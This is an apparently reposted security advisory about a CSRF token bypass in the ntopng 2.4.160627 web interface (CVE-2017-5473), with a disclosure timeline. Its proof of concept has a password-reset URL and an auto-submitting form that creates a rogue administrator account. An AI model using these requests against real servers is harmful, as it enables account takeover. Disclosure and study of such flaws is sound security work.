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ntopng Web Interface 2.4.160627 Cross Site Request Forgery

ntopng Web Interface 2.4.160627 Cross Site Request Forgery
Posted Jan 21, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

ntopng Web Interface version 2.4.160627 suffers from a cross site request forgery token bypass vulnerability.

tags | exploit, web, bypass, csrf
advisories | CVE-2017-5473
SHA-256 | 34960661f2b3cf38145c6e6f128d9428f6327fb5638ca2374f7ba050e6755cf1

ntopng Web Interface 2.4.160627 Cross Site Request Forgery

Change Mirror Download
[+]#####################################################################################
[+] Credits / Discovery: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
[+]#####################################################################################



Vendor:
============
www.ntop.org


Product:
====================
ntopng Web Interface
v2.4.160627

ntopng is the next generation version of the original ntop, a network
traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and
it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.


Vulnerability Type:
==================
CSRF Token Bypass



CVE Reference:
================
CVE-2017-5473



Security Issue:
=================
By simply omitting the CSRF token or supplying arbitrary token values will
bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make
HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.


Exploit/POC:
============

1) Change admin password
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123


2) Add arbitrary

<form action="
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
method="GET">
<input type="hidden" name="username" value="hyp3rlinx">
<input type="hidden" name="full_name" value="TheApparitioN">
<input type="hidden" name="password" value="abc123">
<input type="hidden" name="confirm_password" value="abc123">
<input type="hidden" name="host_role" value="administrator">
<input type="hidden" name="allowed_networks" value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface" value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>



Disclosure Timeline:
=====================
Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure



Network Access:
===============
Remote


Impact:
======================
Information Disclosure
Privilege Escalation



Severity:
===========
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c) HYP3RLINX -
Apparition

Hyp3rlinX
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